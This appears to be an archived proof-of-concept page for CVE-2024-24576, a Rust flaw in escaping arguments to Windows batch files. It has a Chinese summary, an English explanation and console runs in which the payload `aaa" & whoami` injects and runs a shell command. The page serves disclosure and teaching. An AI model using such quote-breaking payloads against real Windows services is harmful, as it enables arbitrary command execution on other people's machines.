关联漏洞
标题:Rust 安全漏洞 (CVE-2024-24576)Description:Rust是美国Mozilla基金会的一款通用、编译型编程语言。 Rust 1.77.2之前版本存在安全漏洞,该漏洞源于没有正确转义Windows上批处理文件的参数,攻击者可以通过绕过转义来执行任意shell命令。
Description
Example of CVE-2024-24576 use case.
介绍
# CVE-2024-24576 PoC
The ```Command::arg``` and ```Command::args``` APIs state in their documentation that the arguments will be passed to the spawned process as-is, regardless of the content of the arguments, and will not be evaluated by a shell. This means it should be safe to pass untrusted input as an argument.
On Windows, the implementation of this is more complex than other platforms, because the Windows API only provides a single string containing all the arguments to the spawned process, and it's up to the spawned process to split them. Most programs use the standard C run-time argv, which in practice results in a mostly consistent way arguments are splitted.
One exception though is cmd.exe (used among other things to execute batch files), which has its own argument splitting logic. That forces the standard library to implement custom escaping for arguments passed to batch files. Unfortunately it was reported that our escaping logic was not thorough enough, and it was possible to pass malicious arguments that would result in arbitrary shell execution.
Running the main.rs file with the following payloads give
```
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
```
```
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
```
```
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
```
Note the escaped argument with the " whoami
NOT MY FINDING!
Sources:
https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh
https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/
文件快照
[4.0K] /data/pocs/0f76b1e278dc8c598488a9f5363d1c6bc35562ae
├── [ 531] main.rs
├── [2.0K] README.md
└── [ 37] test.bat
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。